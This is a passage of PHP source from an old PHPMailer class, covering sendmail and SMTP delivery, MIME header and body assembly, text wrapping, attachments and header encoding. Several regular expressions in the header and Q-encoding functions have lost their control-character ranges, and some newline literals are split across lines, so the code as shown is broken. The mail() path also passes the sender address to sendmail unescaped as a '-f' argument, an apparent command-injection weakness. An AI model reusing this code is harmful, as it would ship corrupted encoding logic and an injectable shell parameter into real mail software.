    $to = implode(', ', $toArr);

    if (empty($this->Sender)) {
      $params = " ";
    } else {
      $params = sprintf("-f%s", $this->Sender);
    }
    if ($this->Sender != '' and !ini_get('safe_mode')) {
      $old_from = ini_get('sendmail_from');
      ini_set('sendmail_from', $this->Sender);
    }
      $rt = false;
    if ($this->SingleTo === true && count($toArr) > 1) {
      foreach ($toArr as $val) {
        $rt = $this->mail_passthru($val, $this->Subject, $body, $header, $params);
        // implement call back function if it exists
        $isSent = ($rt == 1) ? 1 : 0;
        $this->doCallback($isSent, $val, $this->cc, $this->bcc, $this->Subject, $body);
      }
    } else {
      $rt = $this->mail_passthru($to, $this->Subject, $body, $header, $params);
      // implement call back function if it exists
      $isSent = ($rt == 1) ? 1 : 0;
      $this->doCallback($isSent, $to, $this->cc, $this->bcc, $this->Subject, $body);
    }
    if (isset($old_from)) {
      ini_set('sendmail_from', $old_from);
    }
    if(!$rt) {
      throw new phpmailerException($this->Lang('instantiate'), self::STOP_CRITICAL);
    }
    return true;
  }

  protected function SmtpSend($header, $body) {
    //require_once $this->PluginDir . 'class.smtp.php';
    $bad_rcpt = array();

    if(!$this->SmtpConnect()) {
      throw new phpmailerException($this->Lang('smtp_connect_failed'), self::STOP_CRITICAL);
    }
    $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
    if(!$this->smtp->Mail($smtp_from)) {
      $this->SetError($this->Lang('from_failed') . $smtp_from . ' : ' .implode(',', $this->smtp->getError()));
      throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
    }

    // Attempt to send attach all recipients
    foreach($this->to as $to) {
      if (!$this->smtp->Recipient($to[0])) {
        $bad_rcpt[] = $to[0];
        // implement call back function if it exists
        $isSent = 0;
        $this->doCallback($isSent, $to[0], '', '', $this->Subject, $body);
      } else {
        // implement call back function if it exists
        $isSent = 1;
        $this->doCallback($isSent, $to[0], '', '', $this->Subject, $body);
      }
    }
    foreach($this->cc as $cc) {
      if (!$this->smtp->Recipient($cc[0])) {
        $bad_rcpt[] = $cc[0];
        // implement call back function if it exists
        $isSent = 0;
        $this->doCallback($isSent, '', $cc[0], '', $this->Subject, $body);
      } else {
        // implement call back function if it exists
        $isSent = 1;
        $this->doCallback($isSent, '', $cc[0], '', $this->Subject, $body);
      }
    }
    foreach($this->bcc as $bcc) {
      if (!$this->smtp->Recipient($bcc[0])) {
        $bad_rcpt[] = $bcc[0];
        // implement call back function if it exists
        $isSent = 0;
        $this->doCallback($isSent, '', '', $bcc[0], $this->Subject, $body);
      } else {
        // implement call back function if it exists
        $isSent = 1;
        $this->doCallback($isSent, '', '', $bcc[0], $this->Subject, $body);
      }
    }


    if (count($bad_rcpt) > 0 ) { //Create error message for any bad addresses
      $badaddresses = implode(', ', $bad_rcpt);
      throw new phpmailerException($this->Lang('recipients_failed') . $badaddresses);
    }
    if(!$this->smtp->Data($header . $body)) {
      throw new phpmailerException($this->Lang('data_not_accepted'), self::STOP_CRITICAL);
    }
    if($this->SMTPKeepAlive == true) {
      $this->smtp->Reset();
    } else {
        $this->smtp->Quit();
        $this->smtp->Close();
    }
    return true;
  }

  public function SmtpConnect($options = array()) {

    if(is_null($this->smtp)) {
      $this->smtp = new SMTP;
    }

    //Already connected?
    if ($this->smtp->Connected()) {
      return true;
    }

    $this->smtp->Timeout = $this->Timeout;
    $this->smtp->do_debug = $this->SMTPDebug;
    $this->smtp->Debugoutput = $this->Debugoutput;
    $this->smtp->do_verp = $this->do_verp;
    $index = 0;
    $tls = ($this->SMTPSecure == 'tls');
    $ssl = ($this->SMTPSecure == 'ssl');
    $hosts = explode(';', $this->Host);
    $lastexception = null;

    foreach ($hosts as $hostentry) {
      $hostinfo = array();
      $host = $hostentry;
      $port = $this->Port;
      if (preg_match('/^(.+):([0-9]+)$/', $hostentry, $hostinfo)) { //If $hostentry contains 'address:port', override default
        $host = $hostinfo[1];
        $port = $hostinfo[2];
      }
      if ($this->smtp->Connect(($ssl ? 'ssl://':'').$host, $port, $this->Timeout, $options)) {
        try {
          if ($this->Helo) {
            $hello = $this->Helo;
          } else {
            $hello = $this->ServerHostname();
          }
          $this->smtp->Hello($hello);

          if ($tls) {
            if (!$this->smtp->StartTLS()) {
              throw new phpmailerException($this->Lang('connect_host'));
            }
            //We must resend HELO after tls negotiation
            $this->smtp->Hello($hello);
          }
          if ($this->SMTPAuth) {
            if (!$this->smtp->Authenticate($this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation)) {
              throw new phpmailerException($this->Lang('authenticate'));
            }
          }
          return true;
        } catch (phpmailerException $e) {
          $lastexception = $e;
          //We must have connected, but then failed TLS or Auth, so close connection nicely
          $this->smtp->Quit();
        }
      }
    }
    //If we get here, all connection attempts have failed, so close connection hard
    $this->smtp->Close();
    //As we've caught all exceptions, just report whatever the last one was
    if ($this->exceptions and !is_null($lastexception)) {
      throw $lastexception;
    }
    return false;
  }

  public function SmtpClose() {
    if ($this->smtp !== null) {
      if($this->smtp->Connected()) {
        $this->smtp->Quit();
        $this->smtp->Close();
      }
    }
  }

  function SetLanguage($langcode = 'en', $lang_path = 'language/') {
    $PHPMAILER_LANG = array(
      'authenticate'         => 'authenticate',
      'connect_host'         => 'connect_host',
      'data_not_accepted'    => 'data_not_accepted',
      'empty_message'        => 'empty_message',
      'encoding'             => 'encoding ',
      'execute'              => 'execute',
      'file_access'          => 'file_access',
      'file_open'            => 'file_open',
      'from_failed'          => 'from_failed',
      'instantiate'          => 'instantiate',
      'invalid_address'      => 'invalid_address',
      'mailer_not_supported' => 'mailer_not_supported',
      'provide_address'      => 'provide_address',
      'recipients_failed'    => 'recipients_failed',
      'signing'              => 'signing',
      'smtp_connect_failed'  => 'smtp_connect_failed',
      'smtp_error'           => 'smtp_error',
      'variable_set'         => 'variable_set'
    );
    $l = true;
    if ($langcode != 'en') { //There is no English translation file
      $l = @include $lang_path.'phpmailer.lang-'.$langcode.'.php';
    }
    $this->language = $PHPMAILER_LANG;
    return ($l == true); //Returns false if language not found
  }

  public function GetTranslations() {
    return $this->language;
  }

  public function AddrAppend($type, $addr) {
    $addr_str = $type . ': ';
    $addresses = array();
    foreach ($addr as $a) {
      $addresses[] = $this->AddrFormat($a);
    }
    $addr_str .= implode(', ', $addresses);
    $addr_str .= $this->LE;

    return $addr_str;
  }

  public function AddrFormat($addr) {
    if (empty($addr[1])) {
      return $this->SecureHeader($addr[0]);
    } else {
      return $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
    }
  }

  public function WrapText($message, $length, $qp_mode = false) {
    $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
    $is_utf8 = (strtolower($this->CharSet) == "utf-8");
    $lelen = strlen($this->LE);
    $crlflen = strlen(self::CRLF);

    $message = $this->FixEOL($message);
    if (substr($message, -$lelen) == $this->LE) {
      $message = substr($message, 0, -$lelen);
    }

    $line = explode($this->LE, $message);
    $message = '';
    for ($i = 0 ;$i < count($line); $i++) {
      $line_part = explode(' ', $line[$i]);
      $buf = '';
      for ($e = 0; $e<count($line_part); $e++) {
        $word = $line_part[$e];
        if ($qp_mode and (strlen($word) > $length)) {
          $space_left = $length - strlen($buf) - $crlflen;
          if ($e != 0) {
            if ($space_left > 20) {
              $len = $space_left;
              if ($is_utf8) {
                $len = $this->UTF8CharBoundary($word, $len);
              } elseif (substr($word, $len - 1, 1) == "=") {
                $len--;
              } elseif (substr($word, $len - 2, 1) == "=") {
                $len -= 2;
              }
              $part = substr($word, 0, $len);
              $word = substr($word, $len);
              $buf .= ' ' . $part;
              $message .= $buf . sprintf("=%s", self::CRLF);
            } else {
              $message .= $buf . $soft_break;
            }
            $buf = '';
          }
          while (strlen($word) > 0) {
            if ($length <= 0) {
                break;
            }
            $len = $length;
            if ($is_utf8) {
              $len = $this->UTF8CharBoundary($word, $len);
            } elseif (substr($word, $len - 1, 1) == "=") {
              $len--;
            } elseif (substr($word, $len - 2, 1) == "=") {
              $len -= 2;
            }
            $part = substr($word, 0, $len);
            $word = substr($word, $len);

            if (strlen($word) > 0) {
              $message .= $part . sprintf("=%s", self::CRLF);
            } else {
              $buf = $part;
            }
          }
        } else {
          $buf_o = $buf;
          $buf .= ($e == 0) ? $word : (' ' . $word);

          if (strlen($buf) > $length and $buf_o != '') {
            $message .= $buf_o . $soft_break;
            $buf = $word;
          }
        }
      }
      $message .= $buf . self::CRLF;
    }

    return $message;
  }

  public function UTF8CharBoundary($encodedText, $maxLength) {
    $foundSplitPos = false;
    $lookBack = 3;
    while (!$foundSplitPos) {
      $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
      $encodedCharPos = strpos($lastChunk, "=");
      if ($encodedCharPos !== false) {
        // Found start of encoded character byte within $lookBack block.
        // Check the encoded byte value (the 2 chars after the '=')
        $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
        $dec = hexdec($hex);
        if ($dec < 128) { // Single byte character.
          // If the encoded char was found at pos 0, it will fit
          // otherwise reduce maxLength to start of the encoded char
          $maxLength = ($encodedCharPos == 0) ? $maxLength :
          $maxLength - ($lookBack - $encodedCharPos);
          $foundSplitPos = true;
        } elseif ($dec >= 192) { // First byte of a multi byte character
          // Reduce maxLength to split at start of character
          $maxLength = $maxLength - ($lookBack - $encodedCharPos);
          $foundSplitPos = true;
        } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
          $lookBack += 3;
        }
      } else {
        $foundSplitPos = true;
      }
    }
    return $maxLength;
  }

  public function SetWordWrap() {
    if($this->WordWrap < 1) {
      return;
    }

    switch($this->message_type) {
      case 'alt':
      case 'alt_inline':
      case 'alt_attach':
      case 'alt_inline_attach':
        $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
        break;
      default:
        $this->Body = $this->WrapText($this->Body, $this->WordWrap);
        break;
    }
  }

  public function CreateHeader() {
    $result = '';

    $uniq_id = md5(uniqid(time()));
    $this->boundary[1] = 'b1_' . $uniq_id;
    $this->boundary[2] = 'b2_' . $uniq_id;
    $this->boundary[3] = 'b3_' . $uniq_id;

    if ($this->MessageDate == '') {
      $result .= $this->HeaderLine('Date', self::RFCDate());
    } else {
      $result .= $this->HeaderLine('Date', $this->MessageDate);
    }

    if ($this->ReturnPath) {
      $result .= $this->HeaderLine('Return-Path', '<'.trim($this->ReturnPath).'>');
    } elseif ($this->Sender == '') {
      $result .= $this->HeaderLine('Return-Path', '<'.trim($this->From).'>');
    } else {
      $result .= $this->HeaderLine('Return-Path', '<'.trim($this->Sender).'>');
    }

    if($this->Mailer != 'mail') {
      if ($this->SingleTo === true) {
        foreach($this->to as $t) {
          $this->SingleToArray[] = $this->AddrFormat($t);
        }
      } else {
        if(count($this->to) > 0) {
          $result .= $this->AddrAppend('To', $this->to);
        } elseif (count($this->cc) == 0) {
          $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
        }
      }
    }

    $from = array();
    $from[0][0] = trim($this->From);
    $from[0][1] = $this->FromName;
    $result .= $this->AddrAppend('From', $from);

    if(count($this->cc) > 0) {
      $result .= $this->AddrAppend('Cc', $this->cc);
    }

    if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
      $result .= $this->AddrAppend('Bcc', $this->bcc);
    }

    if(count($this->ReplyTo) > 0) {
      $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
    }

    // mail() sets the subject itself
    if($this->Mailer != 'mail') {
      $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
    }

    if($this->MessageID != '') {
      $result .= $this->HeaderLine('Message-ID', $this->MessageID);
    } else {
      $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
    }
    $result .= $this->HeaderLine('X-Priority', $this->Priority);
    if ($this->XMailer == '') {
        $result .= $this->HeaderLine('X-Mailer', 'PHPMailer '.$this->Version.' (https://github.com/PHPMailer/PHPMailer/)');
    } else {
      $myXmailer = trim($this->XMailer);
      if ($myXmailer) {
        $result .= $this->HeaderLine('X-Mailer', $myXmailer);
      }
    }

    if($this->ConfirmReadingTo != '') {
      $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
    }

    // Add custom headers
    for($index = 0; $index < count($this->CustomHeader); $index++) {
      $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
    }
    if (!$this->sign_key_file) {
      $result .= $this->HeaderLine('MIME-Version', '1.0');
      $result .= $this->GetMailMIME();
    }

    return $result;
  }

  public function GetMailMIME() {
    $result = '';
    switch($this->message_type) {
      case 'inline':
        $result .= $this->HeaderLine('Content-Type', 'multipart/related;');
        $result .= $this->TextLine("	boundary=\"" . $this->boundary[1].'"');
        break;
      case 'attach':
      case 'inline_attach':
      case 'alt_attach':
      case 'alt_inline_attach':
        $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
        $result .= $this->TextLine("	boundary=\"" . $this->boundary[1].'"');
        break;
      case 'alt':
      case 'alt_inline':
        $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
        $result .= $this->TextLine("	boundary=\"" . $this->boundary[1].'"');
        break;
      default:
        // Catches case 'plain': and case '':
        $result .= $this->TextLine('Content-Type: '.$this->ContentType.'; charset='.$this->CharSet);
        break;
    }
    //RFC1341 part 5 says 7bit is assumed if not specified
    if ($this->Encoding != '7bit') {
      $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
    }

    if($this->Mailer != 'mail') {
      $result .= $this->LE;
    }

    return $result;
  }

  public function GetSentMIMEMessage() {
    return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  }

  public function CreateBody() {
    $body = '';

    if ($this->sign_key_file) {
      $body .= $this->GetMailMIME().$this->LE;
    }

    $this->SetWordWrap();

    switch($this->message_type) {
      case 'inline':
        $body .= $this->GetBoundary($this->boundary[1], '', '', '');
        $body .= $this->EncodeString($this->Body, $this->Encoding);
        $body .= $this->LE.$this->LE;
        $body .= $this->AttachAll('inline', $this->boundary[1]);
        break;
      case 'attach':
        $body .= $this->GetBoundary($this->boundary[1], '', '', '');
        $body .= $this->EncodeString($this->Body, $this->Encoding);
        $body .= $this->LE.$this->LE;
        $body .= $this->AttachAll('attachment', $this->boundary[1]);
        break;
      case 'inline_attach':
        $body .= $this->TextLine('--' . $this->boundary[1]);
        $body .= $this->HeaderLine('Content-Type', 'multipart/related;');
        $body .= $this->TextLine("	boundary=\"" . $this->boundary[2].'"');
        $body .= $this->LE;
        $body .= $this->GetBoundary($this->boundary[2], '', '', '');
        $body .= $this->EncodeString($this->Body, $this->Encoding);
        $body .= $this->LE.$this->LE;
        $body .= $this->AttachAll('inline', $this->boundary[2]);
        $body .= $this->LE;
        $body .= $this->AttachAll('attachment', $this->boundary[1]);
        break;
      case 'alt':
        $body .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
        $body .= $this->EncodeString($this->AltBody, $this->Encoding);
        $body .= $this->LE.$this->LE;
        $body .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
        $body .= $this->EncodeString($this->Body, $this->Encoding);
        $body .= $this->LE.$this->LE;
        if(!empty($this->Ical)) {
          $body .= $this->GetBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
          $body .= $this->EncodeString($this->Ical, $this->Encoding);
          $body .= $this->LE.$this->LE;
        }
        $body .= $this->EndBoundary($this->boundary[1]);
        break;
      case 'alt_inline':
        $body .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
        $body .= $this->EncodeString($this->AltBody, $this->Encoding);
        $body .= $this->LE.$this->LE;
        $body .= $this->TextLine('--' . $this->boundary[1]);
        $body .= $this->HeaderLine('Content-Type', 'multipart/related;');
        $body .= $this->TextLine("	boundary=\"" . $this->boundary[2].'"');
        $body .= $this->LE;
        $body .= $this->GetBoundary($this->boundary[2], '', 'text/html', '');
        $body .= $this->EncodeString($this->Body, $this->Encoding);
        $body .= $this->LE.$this->LE;
        $body .= $this->AttachAll('inline', $this->boundary[2]);
        $body .= $this->LE;
        $body .= $this->EndBoundary($this->boundary[1]);
        break;
      case 'alt_attach':
        $body .= $this->TextLine('--' . $this->boundary[1]);
        $body .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
        $body .= $this->TextLine("	boundary=\"" . $this->boundary[2].'"');
        $body .= $this->LE;
        $body .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '');
        $body .= $this->EncodeString($this->AltBody, $this->Encoding);
        $body .= $this->LE.$this->LE;
        $body .= $this->GetBoundary($this->boundary[2], '', 'text/html', '');
        $body .= $this->EncodeString($this->Body, $this->Encoding);
        $body .= $this->LE.$this->LE;
        $body .= $this->EndBoundary($this->boundary[2]);
        $body .= $this->LE;
        $body .= $this->AttachAll('attachment', $this->boundary[1]);
        break;
      case 'alt_inline_attach':
        $body .= $this->TextLine('--' . $this->boundary[1]);
        $body .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
        $body .= $this->TextLine("	boundary=\"" . $this->boundary[2].'"');
        $body .= $this->LE;
        $body .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '');
        $body .= $this->EncodeString($this->AltBody, $this->Encoding);
        $body .= $this->LE.$this->LE;
        $body .= $this->TextLine('--' . $this->boundary[2]);
        $body .= $this->HeaderLine('Content-Type', 'multipart/related;');
        $body .= $this->TextLine("	boundary=\"" . $this->boundary[3].'"');
        $body .= $this->LE;
        $body .= $this->GetBoundary($this->boundary[3], '', 'text/html', '');
        $body .= $this->EncodeString($this->Body, $this->Encoding);
        $body .= $this->LE.$this->LE;
        $body .= $this->AttachAll('inline', $this->boundary[3]);
        $body .= $this->LE;
        $body .= $this->EndBoundary($this->boundary[2]);
        $body .= $this->LE;
        $body .= $this->AttachAll('attachment', $this->boundary[1]);
        break;
      default:
        // catch case 'plain' and case ''
        $body .= $this->EncodeString($this->Body, $this->Encoding);
        break;
    }

    if ($this->IsError()) {
      $body = '';
    } elseif ($this->sign_key_file) {
      try {
        if (!defined('PKCS7_TEXT')) {
            throw new phpmailerException($this->Lang('signing').' OpenSSL extension missing.');
        }
        $file = tempnam(sys_get_temp_dir(), 'mail');
        file_put_contents($file, $body); //TODO check this worked
        $signed = tempnam(sys_get_temp_dir(), 'signed');
        if (@openssl_pkcs7_sign($file, $signed, 'file://'.realpath($this->sign_cert_file), array('file://'.realpath($this->sign_key_file), $this->sign_key_pass), null)) {
          @unlink($file);
          $body = file_get_contents($signed);
          @unlink($signed);
        } else {
          @unlink($file);
          @unlink($signed);
          throw new phpmailerException($this->Lang('signing').openssl_error_string());
        }
      } catch (phpmailerException $e) {
        $body = '';
        if ($this->exceptions) {
          throw $e;
        }
      }
    }
    return $body;
  }

  protected function GetBoundary($boundary, $charSet, $contentType, $encoding) {
    $result = '';
    if($charSet == '') {
      $charSet = $this->CharSet;
    }
    if($contentType == '') {
      $contentType = $this->ContentType;
    }
    if($encoding == '') {
      $encoding = $this->Encoding;
    }
    $result .= $this->TextLine('--' . $boundary);
    $result .= sprintf("Content-Type: %s; charset=%s", $contentType, $charSet);
    $result .= $this->LE;
    $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
    $result .= $this->LE;

    return $result;
  }

  protected function EndBoundary($boundary) {
    return $this->LE . '--' . $boundary . '--' . $this->LE;
  }

  protected function SetMessageType() {
    $this->message_type = array();
    if($this->AlternativeExists()) $this->message_type[] = "alt";
    if($this->InlineImageExists()) $this->message_type[] = "inline";
    if($this->AttachmentExists()) $this->message_type[] = "attach";
    $this->message_type = implode("_", $this->message_type);
    if($this->message_type == "") $this->message_type = "plain";
  }

  public function HeaderLine($name, $value) {
    return $name . ': ' . $value . $this->LE;
  }

  public function TextLine($value) {
    return $value . $this->LE;
  }

  public function AddAttachment($path, $name = '', $encoding = 'base64', $type = '') {
    try {
      if ( !@is_file($path) ) {
        throw new phpmailerException($this->Lang('file_access') . $path, self::STOP_CONTINUE);
      }

      //If a MIME type is not specified, try to work it out from the file name
      if ($type == '') {
        $type = self::filenameToType($path);
      }

      $filename = basename($path);
      if ( $name == '' ) {
        $name = $filename;
      }

      $this->attachment[] = array(
        0 => $path,
        1 => $filename,
        2 => $name,
        3 => $encoding,
        4 => $type,
        5 => false,  // isStringAttachment
        6 => 'attachment',
        7 => 0
      );

    } catch (phpmailerException $e) {
      $this->SetError($e->getMessage());
      if ($this->exceptions) {
        throw $e;
      }
      if ($this->SMTPDebug) {
        $this->edebug($e->getMessage()."
");
      }
      return false;
    }
    return true;
  }

  public function GetAttachments() {
    return $this->attachment;
  }

  protected function AttachAll($disposition_type, $boundary) {
    $mime = array();
    $cidUniq = array();
    $incl = array();

    foreach ($this->attachment as $attachment) {
      if($attachment[6] == $disposition_type) {
        $string = '';
        $path = '';
        $bString = $attachment[5];
        if ($bString) {
          $string = $attachment[0];
        } else {
          $path = $attachment[0];
        }

        $inclhash = md5(serialize($attachment));
        if (in_array($inclhash, $incl)) { continue; }
        $incl[]      = $inclhash;
        $filename    = $attachment[1];
        $name        = $attachment[2];
        $encoding    = $attachment[3];
        $type        = $attachment[4];
        $disposition = $attachment[6];
        $cid         = $attachment[7];
        if ( $disposition == 'inline' && isset($cidUniq[$cid]) ) { continue; }
        $cidUniq[$cid] = true;

        $mime[] = sprintf("--%s%s", $boundary, $this->LE);
        $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $this->EncodeHeader($this->SecureHeader($name)), $this->LE);
        $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);

        if($disposition == 'inline') {
          $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
        }

        if (preg_match('/[ \(\)<>@,;:\"\/\[\]\?=]/', $name)) {
          $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $this->EncodeHeader($this->SecureHeader($name)), $this->LE.$this->LE);
        } else {
          $mime[] = sprintf("Content-Disposition: %s; filename=%s%s", $disposition, $this->EncodeHeader($this->SecureHeader($name)), $this->LE.$this->LE);
        }

        if($bString) {
          $mime[] = $this->EncodeString($string, $encoding);
          if($this->IsError()) {
            return '';
          }
          $mime[] = $this->LE.$this->LE;
        } else {
          $mime[] = $this->EncodeFile($path, $encoding);
          if($this->IsError()) {
            return '';
          }
          $mime[] = $this->LE.$this->LE;
        }
      }
    }

    $mime[] = sprintf("--%s--%s", $boundary, $this->LE);

    return implode("", $mime);
  }

  protected function EncodeFile($path, $encoding = 'base64') {
    try {
      if (!is_readable($path)) {
        throw new phpmailerException($this->Lang('file_open') . $path, self::STOP_CONTINUE);
      }
      $magic_quotes = get_magic_quotes_runtime();
      if ($magic_quotes) {
        if (version_compare(PHP_VERSION, '5.3.0', '<')) {
          set_magic_quotes_runtime(0);
        } else {
          ini_set('magic_quotes_runtime', 0);
        }
      }
      $file_buffer  = file_get_contents($path);
      $file_buffer  = $this->EncodeString($file_buffer, $encoding);
      if ($magic_quotes) {
        if (version_compare(PHP_VERSION, '5.3.0', '<')) {
          set_magic_quotes_runtime($magic_quotes);
        } else {
          ini_set('magic_quotes_runtime', $magic_quotes);
        }
      }
      return $file_buffer;
    } catch (Exception $e) {
      $this->SetError($e->getMessage());
      return '';
    }
  }

  public function EncodeString($str, $encoding = 'base64') {
    $encoded = '';
    switch(strtolower($encoding)) {
      case 'base64':
        $encoded = chunk_split(base64_encode($str), 76, $this->LE);
        break;
      case '7bit':
      case '8bit':
        $encoded = $this->FixEOL($str);
        //Make sure it ends with a line break
        if (substr($encoded, -(strlen($this->LE))) != $this->LE)
          $encoded .= $this->LE;
        break;
      case 'binary':
        $encoded = $str;
        break;
      case 'quoted-printable':
        $encoded = $this->EncodeQP($str);
        break;
      default:
        $this->SetError($this->Lang('encoding') . $encoding);
        break;
    }
    return $encoded;
  }

  public function EncodeHeader($str, $position = 'text') {
    $x = 0;

    switch (strtolower($position)) {
      case 'phrase':
        if (!preg_match('/[-]/', $str)) {
          $encoded = addcslashes($str, "..\"");
          if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
            return ($encoded);
          } else {
            return ("\"$encoded\"");
          }
        }
        $x = preg_match_all('/[^ !#-[]-~]/', $str, $matches);
        break;
      case 'comment':
        $x = preg_match_all('/[()"]/', $str, $matches);
      case 'text':
      default:
        $x += preg_match_all('/[---]/', $str, $matches);
        break;
    }

    if ($x == 0) { //There are no chars that need encoding
      return ($str);
    }

    $maxlen = 75 - 7 - strlen($this->CharSet);
    if ($x > strlen($str)/3) { //More than a third of the content will need encoding, so B encoding will be most efficient
      $encoding = 'B';
      if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
        $encoded = $this->Base64EncodeWrapMB($str, "
");
      } else {
        $encoded = base64_encode($str);
        $maxlen -= $maxlen % 4;
        $encoded = trim(chunk_split($encoded, $maxlen, "
"));
      }
    } else {
      $encoding = 'Q';
      $encoded = $this->EncodeQ($str, $position);
      $encoded = $this->WrapText($encoded, $maxlen, true);
      $encoded = str_replace('='.self::CRLF, "
", trim($encoded));
    }

    $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding??=", $encoded);
    $encoded = trim(str_replace("
", $this->LE, $encoded));

    return $encoded;
  }

  public function HasMultiBytes($str) {
    if (function_exists('mb_strlen')) {
      return (strlen($str) > mb_strlen($str, $this->CharSet));
    } else {
      return false;
    }
  }

  public function Base64EncodeWrapMB($str, $lf=null) {
    $start = "=?".$this->CharSet."?B?";
    $end = "?=";
    $encoded = "";
    if ($lf === null) {
      $lf = $this->LE;
    }

    $mb_length = mb_strlen($str, $this->CharSet);
    $length = 75 - strlen($start) - strlen($end);
    $ratio = $mb_length / strlen($str);
    $offset = $avgLength = floor($length * $ratio * .75);

    for ($i = 0; $i < $mb_length; $i += $offset) {
      $lookBack = 0;

      do {
        $offset = $avgLength - $lookBack;
        $chunk = mb_substr($str, $i, $offset, $this->CharSet);
        $chunk = base64_encode($chunk);
        $lookBack++;
      }
      while (strlen($chunk) > $length);

      $encoded .= $chunk . $lf;
    }

    $encoded = substr($encoded, 0, -strlen($lf));
    return $encoded;
  }

  public function EncodeQP($string, $line_max = 76) {
    if (function_exists('quoted_printable_encode')) {
      return quoted_printable_encode($string);
    }
    $string = str_replace(array('%20', '%0D%0A.', '%0D%0A', '%'), array(' ', "
=2E", "
", '='), rawurlencode($string));
    $string = preg_replace('/[^
]{'.($line_max - 3).'}[^=
]{2}/', "$0=
", $string);
    return $string;
  }

  public function EncodeQPphp($string, $line_max = 76, $space_conv = false) {
    return $this->EncodeQP($string, $line_max);
  }

  public function EncodeQ($str, $position = 'text') {
    $pattern = '';
    $encoded = str_replace(array("
", "
"), '', $str);
    switch (strtolower($position)) {
      case 'phrase':
        $pattern = '^A-Za-z0-9!*+\/ -';
        break;

      case 'comment':
        $pattern = '\(\)"';

      case 'text':
      default:
        $pattern = '=-	-?_-' . $pattern;
        break;
    }

    if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
      foreach (array_unique($matches[0]) as $char) {
        $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
      }
    }

    return str_replace(' ', '_', $encoded);
}

  public function AddStringAttachment($string, $filename, $encoding = 'base64', $type = '') {
    if ($type == '') {
      $type = self::filenameToType($filename);
    }
    $this->attachment[] = array(
      0 => $string,
      1 => $filename,
      2 => basename($filename),
      3 => $encoding,
      4 => $type,
      5 => true,  // isStringAttachment
      6 => 'attachment',
      7 => 0
    );
  }

  public function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '') {
    if ( !@is_file($path) ) {
      $this->SetError($this->Lang('file_access') . $path);
      return false;
    }

    if ($type == '') {
      $type = self::filenameToType($path);
    }

    $filename = basename($path);
    if ( $name == '' ) {
      $name = $filename;
    }

    // Append to $attachment array
    $this->attachment[] = array(
      0 => $path,
      1 => $filename,
      2 => $name,
      3 => $encoding,
      4 => $type,
      5 => false,  // isStringAttachment
      6 => 'inline',
      7 => $cid
    );
    return true;
  }

  public function AddStringEmbeddedImage($string, $cid, $name = '', $encoding = 'base64', $type = '') {
    if ($type == '') {
      $type = self::filenameToType($name);
    }
    $this->attachment[] = array(
      0 => $string,
      1 => $name,
      2 => $name,
      3 => $encoding,
      4 => $type,
      5 => true,  // isStringAttachment
      6 => 'inline',
      7 => $cid
    );
    return true;
  }

  public function InlineImageExists() {
    foreach($this->attachment as $attachment) {
      if ($attachment[6] == 'inline') {
        return true;
      }
    }
    return false;
  }

  public function AttachmentExists() {
    foreach($this->attachment as $attachment) {
      if ($attachment[6] == 'attachment') {
        return true;
      }
    }
    return false;
  }

  public function AlternativeExists() {
    return !empty($this->AltBody);
  }

  public function ClearAddresses() {
    foreach($this->to as $to) {
      unset($this->all_recipients[strtolower($to[0])]);
    }
    $this->to = array();
  }

  public function ClearCCs() {
    foreach($this->cc as $cc) {
      unset($this->all_recipients[strtolower($cc[0])]);
    }
    $this->cc = array();
  }

  public function ClearBCCs() {
    foreach($this->bcc as $bcc) {
      unset($this->all_recipients[strtolower($bcc[0])]);
    }
    $this->bcc = array();
  }

  public function ClearReplyTos() {
    $this->ReplyTo = array();
  }

  public function ClearAllRecipients() {
    $this->to = array();
    $this->cc = array();
    $this->bcc = array();
    $this->all_recipients = array();
  }

  public function ClearAttachments() {
    $this->attachment = array();
  }

  public function ClearCustomHeaders() {
    $this->CustomHeader = array();
  }

  protected function SetError($msg) {
    $this->error_count++;
    if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
      $lasterror = $this->smtp->getError();
      if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
